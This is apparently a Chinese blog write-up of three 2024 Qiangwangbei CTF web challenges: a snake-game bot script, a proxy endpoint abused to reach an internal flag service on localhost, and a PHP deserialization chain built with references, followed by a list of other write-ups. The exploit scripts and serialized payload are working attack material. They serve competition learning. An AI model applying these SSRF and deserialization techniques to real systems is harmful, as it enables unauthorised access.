进去之后输入username,然后是一个贪吃蛇的，速度挺快的，扫目录也没得到啥，应该是要到达一定的分数，把game.js给ai拷打一下。

import requests
import json
from heapq import heappop, heappush

current_direction = "RIGHT"
last_direction = "RIGHT"

direction_map = {
 "UP": "DOWN",
 "DOWN": "UP",
 "LEFT": "RIGHT",
 "RIGHT": "LEFT"
}

def heuristic(a, b):
 return abs(a[0] - b[0]) + abs(a[1] - b[1])

def a_star_search(start, goal, grid_size, snake):
 open_set = []
 heappush(open_set, (0, start))
 came_from = {}
 g_score = {start: 0}
 f_score = {start: heuristic(start, goal)}

 while open_set:
 _, current = heappop(open_set)

 if current == goal:
 path = []
 while current in came_from:
 path.append(current)
 current = came_from[current]
 path.reverse()
 return path

 for dx, dy in [(0, -1), (0, 1), (-1, 0), (1, 0)]:
 neighbor = (current[0] + dx, current[1] + dy)
 if 0 <= neighbor[0] < grid_size and 0 <= neighbor[1] < grid_size and neighbor not in snake:
 tentative_g_score = g_score[current] + 1
 if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
 came_from[neighbor] = current
 g_score[neighbor] = tentative_g_score
 f_score[neighbor] = tentative_g_score + heuristic(neighbor, goal)
 heappush(open_set, (f_score[neighbor], neighbor))

 return []

def get_next_direction(snake, food, grid_size):
 global current_direction, last_direction

 head_x, head_y = snake[0]['x'], snake[0]['y']
 food_x, food_y = food[0], food[1]

 path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg['x'], seg['y']) for seg in snake])

 if path:
 next_x, next_y = path[0]
 if next_x > head_x:
 return "RIGHT"
 elif next_x < head_x:
 return "LEFT"
 elif next_y > head_y:
 return "DOWN"
 elif next_y < head_y:
 return "UP"
 else:
 possible_directions = ["UP", "DOWN", "LEFT", "RIGHT"]
 possible_directions.remove(direction_map[current_direction])
 return possible_directions[0]

url = "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/move"
headers = {
 "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
 "Accept": "*/*",
 "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
 "Accept-Encoding": "gzip, deflate",
 "Referer": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
 "Content-Type": "application/json",
 "Origin": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
 "Connection": "close",
 "Cookie": "session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU",
 "Priority": "u=4"
}
proxies = {
 "http": "http://127.0.0.1:8080",
 "https": "http://127.0.0.1:8080",
}

def main():
 global current_direction, last_direction 

 while True:
 try:
 response = requests.post(url, headers=headers, data=json.dumps({"direction": current_direction}), proxies=proxies)

 if response.status_code == 200:
 game_data = json.loads(response.text)

 if 'status' in game_data:
 if game_data['status'] == 'game_over':
 print("Game Over!")
 print("Final Score:", game_data.get('score', 'Score not provided'))
 break
 elif game_data['status'] == 'win':
 print("Congratulations! You win!")
 print("Final Score:", game_data.get('score', 'Score not provided'))

 score = game_data.get('score', 0)
 if score >= 50:
 burp_url = "http://127.0.0.1:8080/some_endpoint" 
 burp_response = requests.post(burp_url, json=game_data)
 print("Data sent to Burp:", burp_response.status_code)

 food = game_data.get('food', [])
 snake = [{'x': segment[0], 'y': segment[1]} for segment in game_data.get('snake', [])]
 grid_size = game_data.get('grid_size', 20)

 print("Food:", food)
 print("Snake:", snake)
 print("Current Score:", score)

 if food and snake:
 next_direction = get_next_direction(snake, food, grid_size)
 current_direction = next_direction
 else:
 print(f"Request failed with status code: {response.status_code}")
 print("Response Body:", response.text)
 break
 except requests.exceptions.RequestException as e:
 print(f"Request error: {e}")
 print("Response Body:", response.text if 'response' in locals() else "No response")
 break
 except json.JSONDecodeError as e:
 print(f"JSON decode error: {e}")
 print("Response Body:", response.text if 'response' in locals() else "No response")
 break
 except KeyError as e:
 print(f"Key error: {e}")
 print("Response Body:", response.text if 'response' in locals() else "No response")
 break
 except Exception as e:
 print(f"Unexpected error: {e}")
 print("Response Body:", response.text if 'response' in locals() else "No response")
 break

if __name__ == "__main__":
 main()

这里的话加一个代理，使得每次发包的流量都经过bp，方便后续查看状态。

这里跑的话要多跑几次。

可以看到赢得比赛之后出现一个路由我们去访问。

经过测试发现这是一个sql注入。

这里字段很明显了，就是三，也就是time这个字段，但是数据库也没爆出来。

后面测试发现这就是一个ssti.

这里的话记得用url编码一下

proxy

审计源码发现通过/v2/api/proxy访问/v1/api/flag就行，但是从proxy.conf中发现需要访问http://localhost:8769/v1/api/flag

import requests
import json

def get_flag_via_proxy():
 # 定义代理请求的 URL
 proxy_url = "http://47.94.226.70:36891/v2/api/proxy" # 替换为你的代理服务器地址

 # 定义请求头
 headers = {
 "Content-Type": "application/json"
 }

 # 设置请求数据，通过 /v2/api/proxy 访问 /v1/api/flag
 data = {
 "url": "http://localhost:8769/v1/api/flag", # 代理到 localhost:8769
 "method": "POST", # 确保使用正确的请求方法
 "body": "", # 如果需要请求体，填入相应内容
 "headers": {
 "Content-Type": "application/json"
 # 添加其他必要的请求头，例如身份验证头
 },
 "follow_redirects": False
 }

 try:
 # 发送请求到代理端点
 response = requests.post(proxy_url, headers=headers, data=json.dumps(data))

 # 检查响应状态码
 if response.status_code == 200:
 # 提取并打印 flag
 flag = response.json().get("flag")
 print("Flag:", flag.decode('utf-8') if isinstance(flag, bytes) else flag)
 else:
 print(f"Error: Received status code {response.status_code}")
 print("Response:", response.text)
 except requests.RequestException as e:
 print("Request failed:", e)

# 执行脚本
get_flag_via_proxy()

base64解码得到flag

Password Game

在game.php这个地方进行抓包，来满足3条规则。

这个满足三条规则即可。

满足条件之后就会输出一段反序列化的代码。

<?php
include ('flag.php');
highlight_file(__FILE__);
function filter($password){
 $filter_arr = array("admin","2024qwb");
 $filter = '/'.implode("|",$filter_arr).'/i';
 return preg_replace($filter,"nonono",$password);
}

class guest{
 public $username;
 public $value;
 public function __tostring(){
 if($this->username=="guest"){
 $value();
 }
 return $this->username;
 }

 public function __call($key,$value){
 if($this->username==md5($GLOBALS["flag"])){
 echo $GLOBALS["flag"];
 }
 }
}
class root{
 public $username;
 public $value;
 public function __get($key){
 if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
 $this->value = $GLOBALS["flag"];
 echo md5("hello:".$this->value);
 }
 }
}
class user{
 public $username;
 public $password;
 public $value;
 public function __invoke(){
 $this->username=md5($GLOBALS["flag"]);
 return $this->password->guess(); 
 }
 public function __destruct(){
 if(strpos($this->username, "admin") == 0 ){
 echo "hello".$this->username;
 }
 }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
 echo "hello!";
}

flag是全局变量，需要将其echo出来。

整体思路就是利用引用，在root类里面定义一个不存在的属性，然后将其和user里面的value进行引用触发get魔术方法。

这个地方会echo出username，也就是$this->value = $GLOBALS[“flag”]; 这个地方。

先在本地测试一下：

<?php
class guest
{
 public $username;
 public $value;
}
class root{
 public $username;
 public $fs;
 public $value;
}
class user{
 public $username;
 public $password;
 public $value;

}
$a = new root();
$a->username = "qwb";
$a->value = 2024;
$b=new user();
$a->fs = $b;
$a->fs ->username = &$a->value;
$a->fs ->password = "Aa123";
echo serialize($a);
#O:4:"root":3:{s:8:"username";s:3:"qwb";s:2:"fs";O:4:"user":3:{s:8:"username";i:2024;s:8:"password";s:5:"Aa123";s:5:"value";N;}s:5:"value";R:4;}

发现是可以的。

后面反序列化的数字总和仍然需要满足那三个规则，这里改的话主要是改password，慢慢计算即可。

最后那个地方得满足前两个条件。

这里修改一下。

p0l1st's blog

L3HCTF2025 TellMeWhy

fastjson2原生反序列化

动态代理绕高版本fastjson

Exp

Express应⽤预处理特性绕过服务端校验实现XSS

前言

题目分析

解析差异

Express的extended模式

qs 库的预处理机制

URLSearchParams的行为

差异总结

漏洞利用

构造payload

解析流程

阿里CTF 2026部分复现

Easy Login

Cutter

Fileury

强网拟态2025初赛 Web Writeup

smallcode

safesecret

ezcloud

Polar靶场-Java

ezjava

CB链

Fastjson

CC链

FastJsonBCEL

PolarOA

ezJson

PolarOA2.0

一写一个不吱声

SnakeYaml

ezUtil

ez_check

2025磐石初赛Web

web-java_ez

ezyaml

第一届OpenHarmony CTF专题赛 Web Writeup

Layers of Compromise

Filesystem

ezAPP_And_SERVER

ACTF2025 Web Writeup

ACTF upload

not so web 1

not so web 2

Excellent-Site

eznote

CTFSHOW-Java反序列化

web846

web847

web848

web849

web850

web851

web852

web853

web854

2024 第八届强网杯线上赛Web Writeup

PyBlockly

platform

xiaohuanxiong

snake

proxy

Password Game